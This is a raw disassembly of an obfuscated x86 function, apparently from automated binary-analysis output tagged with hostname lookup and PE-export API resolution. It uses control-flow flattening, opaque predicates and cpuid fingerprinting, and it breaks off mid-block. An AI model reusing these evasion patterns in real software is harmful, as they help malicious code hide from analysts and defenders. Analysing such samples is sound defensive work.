Function at 0x43ac04
Capabilities:
Get hostname
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff8
sub esp, 0x3f0
mov esi, esp
mov dword [esi + 4], 0x5b668583
mov eax, dword [esi + 4]
cmp eax, 0x1557801
jg 0x43acce
cmp eax, 0xb9650f6f
jle 0x43ad5d
cmp eax, 0xd4b78af0
jle 0x43ae42
cmp eax, 0xedc0f361
jg 0x43b065
cmp eax, 0xe532cf3c
jg 0x43b49f
cmp eax, 0xdc89495c
jg 0x43baf7
cmp eax, 0xd5b39c81
jle 0x43c64d
cmp eax, 0xd5b39c82
je 0x43d5c7
cmp eax, 0xd62d79db
je 0x43d5f0
cmp eax, 0xd90fc93a
jne 0x43ac1c
mov eax, dword [esi + 0x80]
movzx ecx, word [0x47c4ab]
mov word [eax + 8], cx
mov ecx, dword [0x47c4a7]
mov dword [eax + 4], ecx
mov ecx, dword [0x47c4a3]
mov dword [eax], ecx
push 7
push 0x47c4ad
push 0xa
push dword [esi + 0x80]
call fcn.0043f8d0
add esp, 0x10
mov dword [esi + 4], 0x9e2fa6d3
jmp 0x43ac1c
cmp eax, 0x472cf7c1
jle 0x43add3
cmp eax, 0x5fa840b5
jle 0x43aeb0
cmp eax, 0x72f4bcef
jg 0x43b0d9
cmp eax, 0x683bff04
jg 0x43b50c
cmp eax, 0x6299c875
jg 0x43bb45
cmp eax, 0x60edd944
jle 0x43c6e4
cmp eax, 0x60edd945
je 0x43d60d
cmp eax, 0x61d10509
je 0x43d63f
cmp eax, 0x61ea1718
jne 0x43ac1c
mov eax, dword [esi + 8]
lea ecx, [eax*4 - 0x258]
mov eax, ecx
shr eax, 0x15
mov dword [esi + 8], eax
mov eax, 0xfc82ddc8
cmp ecx, 0x7200000
jb 0x43ad55
mov eax, 0x79916b11
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x9e79e560
jg 0x43af44
cmp eax, 0x8c6092d3
jg 0x43b14b
cmp eax, 0x862db537
jg 0x43b55e
cmp eax, 0x835148ae
jg 0x43bb9b
cmp eax, 0x82d3071e
jle 0x43c719
cmp eax, 0x82d3071f
je 0x43d662
cmp eax, 0x82edeb32
je 0x43d67c
cmp eax, 0x82f9eba8
jne 0x43ac1c
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x158]
mov word [eax + ecx], 0xa
mov eax, dword [esi + 0x28]
mov dword [esi + 4], 0x5fa840b6
jmp 0x43ac1c
cmp eax, 0x25ed8bdc
jg 0x43aff1
cmp eax, 0x104c4fb3
jle 0x43b1d5
cmp eax, 0x1d4db8fb
jg 0x43b5b4
cmp eax, 0x16690ac6
jg 0x43bc08
cmp eax, 0x1347eb9b
jle 0x43c776
cmp eax, 0x1347eb9c
je 0x43d688
cmp eax, 0x15477e10
je 0x43d69d
cmp eax, 0x15d9955a
jne 0x43ac1c
mov eax, dword [esi + 0x13c]
mov word [eax], 0
mov dword [esi + 4], 0x4147df62
jmp 0x43ac1c
cmp eax, 0xc5fa051c
jle 0x43b2d5
cmp eax, 0xcd598f4b
jg 0x43b679
cmp eax, 0xca7c7963
jg 0x43bc40
cmp eax, 0xc74ee641
jle 0x43c7b3
cmp eax, 0xc74ee642
je 0x43d6d9
cmp eax, 0xc8d4dac3
je 0x43d708
cmp eax, 0xc99362eb
jne 0x43ac1c
push 0x17
push 0x47c500
push dword [esi + 0x8c]
call fcn.00448eb0
add esp, 0xc
mov dword [esi + 4], 0x89c20c5a
jmp 0x43ac1c
cmp eax, 0x528e5eed
jle 0x43b323
cmp eax, 0x59d26613
jg 0x43b6df
cmp eax, 0x573dd94b
jg 0x43bc81
cmp eax, 0x54118fdd
jle 0x43c7ed
cmp eax, 0x54118fde
je 0x43d73f
cmp eax, 0x547269cd
je 0x43d75f
cmp eax, 0x56641982
jne 0x43ac1c
imul edi, dword [esi + 8], 0x5ac720
add edi, 0xfffff8d0
mov dword [esi + 8], edi
call fcn.00406fee
push 0x2140
push edi
push 0x2d2b
push 0xe72
call fcn.0043f8d0
add esp, 0x10
mov eax, 0x79ae4a35
cmp edi, 0xe3
jl 0x43af3c
mov eax, 0xf8e559fe
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xab2fa7c7
jle 0x43b3b6
cmp eax, 0xb1e29253
jg 0x43b75a
cmp eax, 0xaf3d6509
jg 0x43bd02
cmp eax, 0xac54653b
jle 0x43c834
cmp eax, 0xac54653c
je 0x43d76b
cmp eax, 0xac57f66e
je 0x43d78b
cmp eax, 0xac870535
jne 0x43ac1c
imul eax, dword [esi + 8], 0x1da
add eax, 0x5d
shr eax, 8
mov edi, eax
shl edi, 8
sub edi, eax
sub edi, eax
mov ebx, edi
shr ebx, 3
mov dword [esi + 8], ebx
push ebx
push 0x35bb
push 0x5884
call fcn.00428473
add esp, 0xc
push 0x21f
push 0x49e
push 0x4d42
push ebx
call fcn.0043f8d0
add esp, 0x10
mov eax, 0xb5738bbf
cmp edi, 8
jb 0x43afe9
mov eax, 0x461f581b
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x37b3dab1
jle 0x43b42e
cmp eax, 0x3d4662e0
jg 0x43b7a9
cmp eax, 0x39fa3475
jg 0x43bd7b
cmp eax, 0x38d6897b
jle 0x43c870
cmp eax, 0x38d6897c
je 0x43d7bd
cmp eax, 0x3929d46b
je 0x43d805
cmp eax, 0x399f299a
jne 0x43ac1c
imul ecx, dword [esi + 8], 0x1980
add ecx, 0x71b0
mov dword [esi + 8], ecx
mov eax, 0xd7a671c
cmp ecx, 0x44
jge 0x43b05d
mov eax, 0xe1c66a6c
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xf490fa58
jg 0x43b801
cmp eax, 0xf31e7dc0
jg 0x43bdc4
cmp eax, 0xefb47bd8
jle 0x43c892
cmp eax, 0xefb47bd9
je 0x43d835
cmp eax, 0xf1504ec3
je 0x43d841
cmp eax, 0xf2c135a5
jne 0x43ac1c
mov eax, dword [esi + 0xc]
add eax, 0xfffffffc
imul ecx, eax, 0x25000
imul eax, eax
imul edx, eax, 0x3739
dec edx
add ecx, 0xffffff96
mov dword [esi + 0xc], ecx
mov ecx, 0x61ea1718
cmp eax, edx
je 0x43b0d1
mov ecx, 0x2d53bf60
mov dword [esi + 4], ecx
jmp 0x43ac1c
cmp eax, 0x79507f6e
jg 0x43b859
cmp eax, 0x73c1c3f1
jg 0x43be2e
cmp eax, 0x7362c2ea
jle 0x43c8e0
cmp eax, 0x7362c2eb
je 0x43d873
cmp eax, 0x7399185f
je 0x43d88e
cmp eax, 0x73bde01b
jne 0x43ac1c
lea eax, [esi + 0x1d8]
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
lea eax, [esi + 0x1e8]
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
mov dword [esi + 4], 0x3c2d1d02
jmp 0x43ac1c
cmp eax, 0x95d3505e
jle 0x43b8af
cmp eax, 0x9cc5e09b
jg 0x43be7e
cmp eax, 0x98ba8217
jle 0x43c931
cmp eax, 0x98ba8218
je 0x43d8db
cmp eax, 0x9c1ba9ed
je 0x43d918
cmp eax, 0x9c866ef3
jne 0x43ac1c
push eax
sub esp, 0x14
mov edi, esp
mov word [edi + 0x14], 0
push 0x14
push 0x470040
push edi
call fcn.00448eb0
add esp, 0xc
push 4
push 0x470054
push 0xa
push edi
call fcn.0043f790
add esp, 0x10
push 0x16
push edi
push dword [esi + 0x58]
call fcn.00448eb0
add esp, 0xc
mov dword [esi + 4], 0x7362c2eb
jmp 0x43ac1c
cmp eax, 0x830ca59
jle 0x43b901
cmp eax, 0xc5c8d48
jg 0x43bed7
cmp eax, 0x8bc94a4
jle 0x43c956
cmp eax, 0x8bc94a5
je 0x43d946
cmp eax, 0xa0be244
je 0x43d96c
cmp eax, 0xb296c61
jne 0x43ac1c
mov edi, 0xf
push edi
push 0x47c44c
push dword [esi + 0x64]
call fcn.00448eb0
add esp, 0xc
push 4
push 0x47c45b
push edi
push dword [esi + 0x64]
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x118]
mov ecx, dword [esi + 0x64]
mov edx, dword [ecx + 0xc]
mov dword [eax + 0xc], edx
mov edx, dword [ecx + 8]
mov dword [eax + 8], edx
mov edx, dword [ecx]
mov ecx, dword [ecx + 4]
mov dword [eax + 4], ecx
mov dword [eax], edx
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov dword [esi + 0xd8], eax
mov ebx, dword [esi + 0x10]
sub esp, 0xc
mov edi, esp
mov byte [edi + 0xb], 0
mov al, byte [0x47c469]
mov byte [edi + 0xa], al
movzx eax, word [0x47c467]
mov word [edi + 8], ax
mov eax, dword [0x47c463]
mov dword [edi + 4], eax
mov eax, dword [0x47c45f]
mov dword [edi], eax
push 6
push 0x47c46a
push 0xb
push edi
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [edi + 8]
mov edx, dword [esi + 0xd8]
mov dword [ebx + edx + 8], eax
mov eax, dword [edi]
mov ecx, dword [edi + 4]
mov dword [ebx + edx + 4], ecx
mov dword [ebx + edx], eax
mov dword [esi + 4], 0x2231c25
jmp 0x43ac1c
cmp eax, 0xc20b708f
jle 0x43b97f
cmp eax, 0xc443767e
jg 0x43bf4b
cmp eax, 0xc291beac
jle 0x43c981
cmp eax, 0xc291bead
je 0x43d981
cmp eax, 0xc2e940b7
je 0x43d9b0
cmp eax, 0xc2fe1158
jne 0x43ac1c
mov dword [esi + 4], 0x3c1ff867
jmp 0x43ac1c
cmp eax, 0x4dcbe324
jle 0x43b9d1
cmp eax, 0x507da225
jg 0x43bfc3
cmp eax, 0x4e2ed2c0
jle 0x43c9ad
cmp eax, 0x4e2ed2c1
je 0x43d9d9
cmp eax, 0x4fa8551d
je 0x43d9fd
cmp eax, 0x50649b06
jne 0x43ac1c
mov eax, dword [esi + 0xc4]
mov eax, dword [esi + 0xbc]
mov eax, dword [esi + 0xc0]
mov eax, dword [esi + 0xc8]
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x19c]
mov dword [ecx + 0x20], edx
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x1a0]
mov dword [ecx + 0x24], edx
mov ecx, dword [esi + 0x14]
mov edx, dword [esi + 0x1a4]
mov dword [ecx + 0x28], edx
mov ecx, dword [esi + 0x14]
mov dword [ecx + 0x2c], eax
mov eax, dword [esi + 0x48]
mov dword [esi + 4], 0xa7071fc1
jmp 0x43ac1c
cmp eax, 0xa2f2666b
jle 0x43ba34
cmp eax, 0xa7055611
jg 0x43c01e
cmp eax, 0xa4ce8543
jle 0x43c9cf
cmp eax, 0xa4ce8544
je 0x43da50
cmp eax, 0xa6bac59b
je 0x43da73
cmp eax, 0xa6d1d8ea
jne 0x43ac1c
mov eax, dword [esi + 0xc]
add eax, 0xffffff97
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x1cc3
shr eax, 4
and eax, 0x7ffffff
dec edx
add eax, 0xffffffda
mov dword [esi + 0xc], eax
mov eax, 0xff67e51d
cmp edx, ecx
je 0x43b426
mov eax, 0xb0e1b55f
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x2fc64b53
jle 0x43ba83
cmp eax, 0x34a85f48
jg 0x43c071
cmp eax, 0x311b769f
jle 0x43c9f1
cmp eax, 0x311b76a0
je 0x43dab2
cmp eax, 0x32ae1d7d
je 0x43dade
cmp eax, 0x34436423
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x120], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x68], eax
mov eax, dword [esi + 0x68]
mov byte [eax + 0xf], 0
mov dword [esi + 4], 0xf4593bdd
jmp 0x43ac1c
cmp eax, 0xe9f6d0e5
jg 0x43c0ce
cmp eax, 0xe5ad6a96
jle 0x43ca33
cmp eax, 0xe5ad6a97
je 0x43db04
cmp eax, 0xe8fcf2a1
je 0x43db39
cmp eax, 0xe9975444
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 5
add eax, 0xffffffe5
shr eax, 9
mov ecx, eax
imul ecx, eax
imul edx, ecx, 0x6291
dec edx
shl eax, 0x1e
neg eax
mov dword [esi + 0xc], eax
mov eax, 0x72687fc5
cmp ecx, edx
je 0x43b504
mov eax, 0xb296c61
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x6e5dfc4d
jg 0x43c113
cmp eax, 0x68bf22d3
jle 0x43ca6e
cmp eax, 0x68bf22d4
je 0x43db45
cmp eax, 0x6bbfb69a
je 0x43db70
cmp eax, 0x6c07dc46
jne 0x43ac1c
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x11c]
mov word [eax + ecx], 0xa
mov dword [esi + 4], 0x367e9265
jmp 0x43ac1c
cmp eax, 0x89c20c59
jg 0x43c17d
cmp eax, 0x876f42a2
jle 0x43ca90
cmp eax, 0x876f42a3
je 0x43db8e
cmp eax, 0x87946877
je 0x43dca2
cmp eax, 0x88d85f77
jne 0x43ac1c
push 0x18
push dword [esi + 0x8c]
push dword [esi + 0x34]
call fcn.00448eb0
add esp, 0xc
mov dword [esi + 4], 0x5286ace7
jmp 0x43ac1c
cmp eax, 0x20ed5b0d
jg 0x43c1ea
cmp eax, 0x1f096956
jle 0x43cacb
cmp eax, 0x1f096957
je 0x43dcb9
cmp eax, 0x1f8f41c8
je 0x43dce3
cmp eax, 0x1fa40e09
jne 0x43ac1c
mov eax, dword [esi + 0x144]
mov byte [eax], 0
mov eax, dword [esi + 0x7c]
mov ecx, dword [0x47c498]
mov dword [eax + 4], ecx
mov ecx, dword [0x47c494]
mov dword [eax], ecx
push 7
push 0x47c49c
push 8
push dword [esi + 0x7c]
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x7c]
mov ecx, dword [eax]
mov edx, dword [eax + 4]
mov dword [esi + 0x1b8], ecx
mov dword [esi + 0x1bc], edx
mov al, byte [eax + 8]
mov byte [esi + 0x1c0], al
lea eax, [esi + 0x1b8]
push eax
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0xe8]
push dword [esi + 0x10]
call fcn.00459f40
add esp, 8
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov dword [esi + 0x148], eax
mov dword [esi + 4], 0x231b4d6
jmp 0x43ac1c
cmp eax, 0xd11548be
jg 0x43c231
cmp eax, 0xce740086
jle 0x43cb19
cmp eax, 0xce740087
je 0x43dd19
cmp eax, 0xd01a2de7
je 0x43dd2e
cmp eax, 0xd0460e08
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
add eax, dword [esi + 0x10]
mov dword [esi + 0x118], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x64], eax
mov eax, dword [esi + 0x64]
mov byte [eax + 0xf], 0
mov dword [esi + 4], 0xe9975444
jmp 0x43ac1c
cmp eax, 0x5d1ff24b
jg 0x43c29c
cmp eax, 0x5a9da1ab
jle 0x43cb3b
cmp eax, 0x5a9da1ac
je 0x43dd6c
cmp eax, 0x5b668583
je 0x43ddb2
cmp eax, 0x5bb238ad
jne 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 6
and eax, 0xfffffff0
lea edi, [eax + eax*4]
lea eax, [eax + eax*4]
add eax, 0xffffffdc
mov dword [esi + 8], eax
push 0x45d8
push eax
push 0x5324
push 0x471a
call fcn.0043f8d0
add esp, 0x10
mov eax, 0x5b668583
cmp edi, 0x7d
jae 0x43b752
mov eax, 0xf490fa59
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xb5738bbe
jg 0x43c2fd
cmp eax, 0xb274466e
jle 0x43cb75
cmp eax, 0xb274466f
je 0x43dddd
cmp eax, 0xb37af821
je 0x43de2e
cmp eax, 0xb38b5094
jne 0x43ac1c
add dword [esi + 8], 0x29
mov eax, 0x6c07dc46
jns 0x43b7a1
mov eax, 0x15477e10
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x435a0da3
jg 0x43c344
cmp eax, 0x3f185db7
jle 0x43cb97
cmp eax, 0x3f185db8
je 0x43de63
cmp eax, 0x3fa03bfc
je 0x43de8f
cmp eax, 0x4147df62
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x9d000
shr eax, 6
add eax, 0xbe
shr eax, 0xb
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xed0da876
jmp 0x43ac1c
cmp eax, 0xf95480d6
jg 0x43c37c
cmp eax, 0xf6fe047e
jle 0x43cbf1
cmp eax, 0xf6fe047f
je 0x43dec4
cmp eax, 0xf85fb342
je 0x43df1e
cmp eax, 0xf8e559fe
jne 0x43ac1c
push eax
sub esp, 0x14
mov eax, esp
mov dword [esi + 0x60], eax
mov eax, dword [esi + 0x60]
add eax, 0x14
mov dword [esi + 0x110], eax
mov dword [esi + 4], 0x87946877
jmp 0x43ac1c
cmp eax, 0x79dcd6a0
jg 0x43c3c2
cmp eax, 0x79916b10
jle 0x43cc24
cmp eax, 0x79916b11
je 0x43df4a
cmp eax, 0x79ae4a35
je 0x43dfa4
cmp eax, 0x79c5bcd5
jne 0x43ac1c
mov dword [esi + 0x108], 0x8000
push eax
sub esp, 0x18
mov eax, esp
mov dword [esi + 0x70], eax
mov dword [esi + 4], 0x34a85f49
jmp 0x43ac1c
cmp eax, 0x909d14cc
jle 0x43c41d
cmp eax, 0x91f8b2e7
jle 0x43cc72
cmp eax, 0x91f8b2e8
je 0x43dfc2
cmp eax, 0x932a4f66
je 0x43e003
cmp eax, 0x95cdd8ea
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x9dd4
add eax, 0xebe
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x68b1d8d0
jmp 0x43ac1c
cmp eax, 0x3ea9760
jle 0x43c4a2
cmp eax, 0x5ca5925
jle 0x43cccc
cmp eax, 0x5ca5926
je 0x43e03c
cmp eax, 0x5da9f2f
je 0x43e05f
cmp eax, 0x6652a4e
jne 0x43ac1c
mov eax, dword [esi + 8]
shr eax, 0xf
imul eax, eax, 0xe3
add eax, 0xffffdc88
shr eax, 4
imul edi, eax, 0x38
mov dword [esi + 8], edi
push edi
push 0x6350
push 0x9b1
call fcn.00428473
add esp, 0xc
mov eax, 0x79c5bcd5
cmp edi, 0xdf
jae 0x43b977
mov eax, 0xb10facfd
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xbf3ab78c
jle 0x43c4e0
cmp eax, 0xc0a7ca6c
jle 0x43ccee
cmp eax, 0xc0a7ca6d
je 0x43e0aa
cmp eax, 0xc0f7ff5d
je 0x43e0d9
cmp eax, 0xc1cecfe1
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x2fa000
add eax, 0x28b000
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x23139ff4
jmp 0x43ac1c
cmp eax, 0x4a3c51f4
jle 0x43c566
cmp eax, 0x4b79651b
jle 0x43cd27
cmp eax, 0x4b79651c
je 0x43e159
cmp eax, 0x4c75140d
je 0x43e171
cmp eax, 0x4d980ff5
jne 0x43ac1c
mov edi, dword [esi + 8]
and edi, 0xf
shl edi, 0xd
or edi, 0xc7
mov dword [esi + 8], edi
call fcn.00406fee
push edi
call fcn.0043ac04
add esp, 4
mov dword [esi + 4], 0x742e0221
jmp 0x43ac1c
cmp eax, 0xa10ace43
jle 0x43c5ae
cmp eax, 0xa188b9d5
jle 0x43cd5f
cmp eax, 0xa188b9d6
je 0x43e190
cmp eax, 0xa225c1e2
je 0x43e1c1
cmp eax, 0xa2a4580b
jne 0x43ac1c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x84], eax
mov dword [esi + 4], 0x469974e6
jmp 0x43ac1c
cmp eax, 0x2d26e45d
jle 0x43c5ea
cmp eax, 0x2e71e5c9
jle 0x43cd92
cmp eax, 0x2e71e5ca
je 0x43e21a
cmp eax, 0x2edb9700
je 0x43e23e
cmp eax, 0x2fbbcc4a
jne 0x43ac1c
imul edi, dword [esi + 8], 0x9c
add edi, 0xffffa840
mov dword [esi + 8], edi
push edi
push 0xff8
push 0x1541
call fcn.00428473
add esp, 0xc
mov eax, 0xb296c61
cmp edi, 0xf8
jl 0x43baef
mov eax, 0x1347eb9c
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xe0518cc4
jle 0x43cdc0
cmp eax, 0xe0518cc5
je 0x43e26e
cmp eax, 0xe1c66a6c
je 0x43e2bf
cmp eax, 0xe2605302
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 5
add eax, 0x5c0
shr eax, 6
add eax, 0xffffff10
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x9ef395ad
jmp 0x43ac1c
cmp eax, 0x66177547
jle 0x43cdef
cmp eax, 0x66177548
je 0x43e339
cmp eax, 0x679d3030
je 0x43e37b
cmp eax, 0x67a56864
jne 0x43ac1c
imul ecx, dword [esi + 8], 0x680
add ecx, 0x3a180
mov dword [esi + 8], ecx
mov eax, 0xac57f66e
cmp ecx, 0xc0
jl 0x43bb93
mov eax, 0x5b668583
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x840a5578
jle 0x43ce17
cmp eax, 0x840a5579
je 0x43e3c2
cmp eax, 0x84e89f42
je 0x43e3fc
cmp eax, 0x85bf4554
jne 0x43ac1c
mov ecx, dword [esi + 0xc]
lea eax, [ecx + 0xcc]
add ecx, 0x11d
imul eax, eax
shr ecx, 7
imul edx, eax, 0x3633
add ecx, 0x89
dec edx
shr ecx, 2
and ecx, 0xffffffe0
mov dword [esi + 0xc], ecx
mov ecx, 0xbdd9fdec
cmp edx, eax
je 0x43bc00
mov ecx, 0xc0f7ff5d
mov dword [esi + 4], ecx
jmp 0x43ac1c
cmp eax, 0x181b1a3a
jle 0x43ce99
cmp eax, 0x181b1a3b
je 0x43e408
cmp eax, 0x1936181b
je 0x43e440
cmp eax, 0x1ace8a92
jne 0x43ac1c
mov dword [esi + 4], 0x865d8d32
jmp 0x43ac1c
cmp eax, 0xcbc2eb53
jle 0x43cee2
cmp eax, 0xcbc2eb54
je 0x43e484
cmp eax, 0xcc429f6a
je 0x43e4ae
cmp eax, 0xcc9eb19b
jne 0x43ac1c
mov eax, dword [esi + 0x170]
mov byte [eax], 0
mov dword [esi + 4], 0xd4b796f7
jmp 0x43ac1c
cmp eax, 0x578adb75
jle 0x43cf19
cmp eax, 0x578adb76
je 0x43e4d0
cmp eax, 0x5870b9f8
je 0x43e4e6
cmp eax, 0x58c0e25c
jne 0x43ac1c
mov edi, dword [esi + 8]
mov eax, 0xfffffed5
add edi, eax
shr edi, 2
mov dword [esi + 8], edi
push 0x81e
push edi
push 0x5f50
call fcn.00428473
add esp, 0xc
push 0x59d3
push 0x5f87
push edi
push 0x3e5f
call fcn.0043f790
add esp, 0x10
mov eax, 0x8fe8d881
cmp edi, 0xd3
je 0x43bcfa
mov eax, 0xb6e7b0da
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xafec42fc
jle 0x43cf6b
cmp eax, 0xafec42fd
je 0x43e514
cmp eax, 0xb0e1b55f
je 0x43e53d
cmp eax, 0xb10facfd
jne 0x43ac1c
mov eax, 2
push eax
push 0x47c488
push eax
push dword [esi + 0x6c]
call fcn.0043f8d0
add esp, 0x10
mov eax, dword [esi + 0x128]
mov ecx, dword [esi + 0x6c]
mov dl, byte [ecx + 2]
mov byte [eax + 2], dl
movzx ecx, word [ecx]
mov word [eax], cx
push 1
push 0x8000
call fcn.00458cc3
add esp, 8
mov dword [esi + 0xe4], eax
mov dword [esi + 4], 0xc4aa367c
jmp 0x43ac1c
cmp eax, 0x3b28e3c0
jle 0x43cfcf
cmp eax, 0x3b28e3c1
je 0x43e549
cmp eax, 0x3c1ff867
je 0x43e585
cmp eax, 0x3c2d1d02
jne 0x43ac1c
push dword [esi + 0x10]
call fcn.0045a120
add esp, 4
mov dword [esi + 0x158], eax
mov dword [esi + 4], 0x37538745
jmp 0x43ac1c
cmp eax, 0xf3d87e12
jle 0x43d02a
cmp eax, 0xf3d87e13
je 0x43e598
cmp eax, 0xf4563577
je 0x43e5a7
cmp eax, 0xf4593bdd
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x91
add eax, 0x49
mov ecx, eax
shr ecx, 7
imul eax, eax
imul edx, eax, 0x582f
dec edx
imul ecx, ecx, 0xed
add ecx, 0x215b
mov dword [esi + 0xc], ecx
mov ecx, 0xf8e559fe
cmp eax, edx
je 0x43be26
mov ecx, 0x8fe8d881
mov dword [esi + 4], ecx
jmp 0x43ac1c
cmp eax, 0x74b929fb
jle 0x43d06c
cmp eax, 0x74b929fc
je 0x43e5e2
cmp eax, 0x74fd6f1f
je 0x43e62c
cmp eax, 0x77dd275b
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shl eax, 0xa
add eax, 0xfff9a000
and eax, 0xfffff000
add eax, 0xfffffd80
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0xb5738bbf
jmp 0x43ac1c
cmp eax, 0x9d967b78
jle 0x43d095
cmp eax, 0x9d967b79
je 0x43e658
cmp eax, 0x9e2fa6d3
je 0x43e67b
cmp eax, 0x9e4279cd
jne 0x43ac1c
mov eax, 0x80000002
xor ecx, ecx
cpuid
mov dword [esi + 0x9c], eax
mov dword [esi + 0xa0], ebx
mov dword [esi + 0xa4], ecx
mov dword [esi + 0xa8], edx
mov dword [esi + 4], 0x7e0ab08c
jmp 0x43ac1c
cmp eax, 0xd7a671b
jle 0x43d0e4
cmp eax, 0xd7a671c
je 0x43e69b
cmp eax, 0xdd1c1f7
je 0x43e6c5
cmp eax, 0xef1c28c
jne 0x43ac1c
mov eax, dword [esi + 0xa8]
mov eax, dword [esi + 0x9c]
mov eax, dword [esi + 0xa0]
mov eax, dword [esi + 0xa4]
mov dword [esi + 0x17c], eax
mov eax, dword [esi + 0x9c]
mov eax, dword [esi + 0xa0]
mov eax, dword [esi + 0xa4]
mov eax, dword [esi + 0xa8]
mov dword [esi + 0x180], eax
mov dword [esi + 4], 0xa6d1d8ea
jmp 0x43ac1c
cmp eax, 0xc5870a4d
jle 0x43d106
cmp eax, 0xc5870a4e
je 0x43e6ed
cmp eax, 0xc5e72542
je 0x43e751
cmp eax, 0xc5f299bf
jne 0x43ac1c
push eax
sub esp, 0xc
mov eax, esp
mov dword [esi + 0x44], eax
sub esp, 0x10
mov eax, esp
mov dword [esi + 0x48], eax
sub esp, 0x1a8
mov eax, esp
mov dword [esi + 0x20], eax
sub esp, 8
mov eax, esp
mov dword [esi + 0x4c], eax
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov esp, eax
mov dword [esi + 0x24], eax
push eax
sub esp, 0x1c
mov eax, esp
mov dword [esi + 0x50], eax
push eax
mov eax, esp
mov dword [esi + 0x54], eax
mov dword [esi + 4], 0xf490fa59
jmp 0x43ac1c
cmp eax, 0x519910a7
jle 0x43d155
cmp eax, 0x519910a8
je 0x43e770
cmp eax, 0x51f80afc
je 0x43e799
cmp eax, 0x5286ace7
jne 0x43ac1c
mov eax, dword [esi + 0xc]
shr eax, 0xf
imul ecx, eax, 0x74000000
imul eax, eax
imul edx, eax, 0x604b
dec edx
mov dword [esi + 0xc], ecx
mov ecx, 0xed0da876
cmp eax, edx
je 0x43c016
mov ecx, 0xdd1c1f7
mov dword [esi + 4], ecx
jmp 0x43ac1c
cmp eax, 0xaa3433bf
jle 0x43d183
cmp eax, 0xaa3433c0
je 0x43e7bf
cmp eax, 0xaa5d8f45
je 0x43e7d5
cmp eax, 0xaab5e919
jne 0x43ac1c
imul ecx, dword [esi + 8], 0x1da000
add ecx, 0xce8f0
mov dword [esi + 8], ecx
mov eax, 0x58c0e25c
cmp ecx, 0x13
jl 0x43c069
mov eax, 0xa140a1ab
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x359e8811
jle 0x43d1a5
cmp eax, 0x359e8812
je 0x43e7ee
cmp eax, 0x367e9265
je 0x43e820
cmp eax, 0x37538745
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x67
add eax, 0x1db
mov ecx, eax
imul ecx, eax
shr eax, 3
imul edx, ecx, 0x4583
dec edx
mov dword [esi + 0xc], eax
mov eax, 0x3c2d1d02
cmp ecx, edx
je 0x43c0c6
mov eax, 0x82f9eba8
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0xea8c8820
jle 0x43d1f2
cmp eax, 0xea8c8821
je 0x43e852
cmp eax, 0xed0da876
je 0x43e883
cmp eax, 0xed86323f
jne 0x43ac1c
imul eax, dword [esi + 0xc], 0x90ba
shr eax, 7
mov dword [esi + 0xc], eax
mov dword [esi + 4], 0x8c6092d4
jmp 0x43ac1c
cmp eax, 0x6f47770d
jle 0x43d217
cmp eax, 0x6f47770e
je 0x43e8cb
cmp eax, 0x6fa8cbcf
je 0x43e902
cmp eax, 0x72687fc5
jne 0x43ac1c
imul edi, dword [esi + 8], 0x2a7e
add edi, 0xfffffff6
mov eax, edi
shr eax, 1
mov dword [esi + 8], eax
push eax
push 0x40a3
push 0x3a01
call fcn.00428473
add esp, 0xc
mov eax, 0x91b2dfcd
cmp edi, 0xb9
jae 0x43c175
mov eax, 0xbdd9fdec
mov dword [esi + 4], eax
jmp 0x43ac1c
cmp eax, 0x8a159cd0
jle 0x43d282
cmp eax, 0x8a159cd1
je 0x43e944
cmp eax, 0x8ba168fd
je 0x43e95f
cmp eax, 0x8bf3e645
jne 0x43ac1c
mov edi, dword [esi + 8]
shl edi, 0xa
add edi, 0x18063
mov dword [esi + 8], edi
push 0x2301
push edi
push 0x406
call fcn.00428473
add esp, 0xc
